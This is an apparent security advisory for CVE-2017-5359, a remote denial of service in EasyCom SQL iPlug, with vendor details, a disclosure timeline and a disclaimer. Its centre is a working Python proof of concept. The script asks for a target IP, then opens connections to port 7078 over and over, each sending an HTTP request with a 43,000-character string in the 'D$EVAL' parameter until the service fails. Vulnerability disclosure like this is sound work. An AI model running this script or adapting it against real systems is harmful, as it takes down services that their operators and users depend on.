EasyCom SQL iPlug Denial Of Service

`[+] Credits: John Page AKA Hyp3rlinX   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/EASYCOM-SQL-IPLUG-DENIAL-OF-SERVICE.txt  
[+] ISR: ApparitionSec  
  
  
Vendor:  
================  
easycom-aura.com  
  
  
  
Product:  
===========  
SQL iPlug  
EasycomPHP_4.0029.iC8im2.exe  
  
SQL iPlug provides System i applications real-time access to heterogeneous and external databases  
(Oracle, SQL Server, MySQL, MS Access, Sybase, Progress) in a completely transparent manner and without requiring replication.  
  
  
  
Vulnerability Type:  
===================  
Denial Of Service  
  
  
  
CVE Reference:  
==============  
CVE-2017-5359  
  
  
  
Security Issue:  
================  
SQL iPlug listens on port 7078 by default, it suffers from denial of service when sending overly long string via  
HTTP requests fed to the "D$EVAL" parameter.  
  
  
  
Exploit/POC:  
============  
  
import socket  
  
print 'EasyCom SQL-IPLUG DOS 0day!'  
print 'hyp3rlinx'  
  
IP = raw_input("[IP]> ")  
PORT = 7078   
payload="A"*43000  
  
arr=[]  
c=0  
while 1:  
try:  
arr.append(socket.create_connection((IP,PORT)))  
arr[c].send('GET /?D$EVAL='+payload+" HTTP/1.1\r\n\r\n")  
c+=1  
print "doit!"  
except socket.error:  
print "[*] 5th ave 12:00"  
raw_input()  
break  
  
  
  
  
Disclosure Timeline:  
======================================  
Vendor Notification: December 22, 2016  
Vendor acknowledgement: December 23, 2016  
Vendor Release Fix/Version February 20, 2017  
February 22, 2017 : Public Disclosure  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
===========  
Medium  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere.   
  
hyp3rlinx  
`